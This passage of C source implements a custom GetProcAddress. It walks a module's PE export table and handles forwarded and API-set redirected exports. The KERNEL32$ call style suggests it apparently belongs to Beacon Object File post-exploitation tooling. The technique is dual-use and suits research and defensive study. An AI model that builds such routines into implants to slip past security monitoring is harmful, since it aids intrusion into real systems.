NULL; 431 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 432 | FARPROC fpResult = NULL; 433 | DWORD dwCounter; 434 | 435 | if (hModule == NULL) 436 | return NULL; 437 | 438 | // a module handle is really its base address 439 | uiLibraryAddress = (UINT_PTR)hModule; 440 | 441 | // get the VA of the modules NT Header 442 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 443 | 444 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 445 | 446 | // get the VA of the export directory 447 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress); 448 | 449 | // get the VA for the array of addresses 450 | uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions); 451 | 452 | // get the VA for the array of name pointers 453 | uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames); 454 | 455 | // get the VA for the array of name ordinals 456 | uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals); 457 | 458 | // test if we are importing by name or by ordinal... 459 | #pragma warning(suppress: 4311) 460 | if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000) 461 | { 462 | // import by ordinal... 463 | 464 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 465 | #pragma warning(suppress: 4311) 466 | uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD)); 467 | 468 | // resolve the address for this imported function 469 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); 470 | } 471 | else 472 | { 473 | // import by name... 474 | dwCounter = pExportDirectory->NumberOfNames; 475 | while (dwCounter--) 476 | { 477 | cpExportedFunctionName = (PCHAR)(uiLibraryAddress + DEREF_32(uiNameArray)); 478 | 479 | // test if we have a match... 480 | if (strcmp(cpExportedFunctionName, lpProcName) == 0) 481 | { 482 | // use the functions name ordinal as an index into the array of name pointers 483 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 484 | uiFuncVA = DEREF_32(uiAddressArray); 485 | 486 | // check for redirected exports 487 | if (pDataDirectory->VirtualAddress <= uiFuncVA && uiFuncVA < (pDataDirectory->VirtualAddress + pDataDirectory->Size)) 488 | { 489 | szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA); 490 | 491 | // Find the first character after "." 492 | szRedirFunc = strstr(szFwdDesc, ".") + 1; 493 | stDllName = (SIZE_T)(szRedirFunc - szFwdDesc); 494 | 495 | // Allocate enough space to append "dll" 496 | wszDllName = (PWSTR)calloc(stDllName + 3 + 1, sizeof(WCHAR)); 497 | if (wszDllName == NULL) 498 | break; 499 | 500 | mbstowcs_s(NULL, wszDllName, stDllName + 1, szFwdDesc, stDllName); 501 | __movsb((PBYTE)(wszDllName + stDllName), (PBYTE)(L"dll"), 3 * sizeof(WCHAR)); 502 | 503 | // check for a redirected module name 504 | if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0) 505 | { 506 | wsRedir = GetRedirectedName(wszOriginalModule, wszDllName, &stRedirName); 507 | if (wsRedir) 508 | { 509 | // Free the original buffer and allocate a new one for the redirected dll name 510 | free(wszDllName); 511 | 512 | wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR)); 513 | if (wszDllName == NULL) 514 | break; 515 | 516 | __movsb((PBYTE)wszDllName, (PBYTE)wsRedir, stRedirName * sizeof(WCHAR)); 517 | } 518 | } 519 | 520 | hFwdModule = KERNEL32$GetModuleHandleW(wszDllName); 521 | fpResult = CustomGetProcAddressEx(hFwdModule, szRedirFunc, wszDllName); 522 | free(wszDllName); 523 | } 524 | else 525 | { 526 | // calculate the virtual address for the function 527 | fpResult = (FARPROC)(uiLibraryAddress + uiFuncVA); 528 | } 529 | 530 | // finish... 531 | break; 532 | } 533 | 534 | // get the next exported function name 535 | uiNameArray += sizeof(DWORD); 536 | 537 | // get the next exported function name ordinal 538 | uiNameOrdinals += sizeof(WORD); 539 | } 540 | } 541 | 542 | return fpResult; 543 | } 544 | --------------------------------------------------------------------------------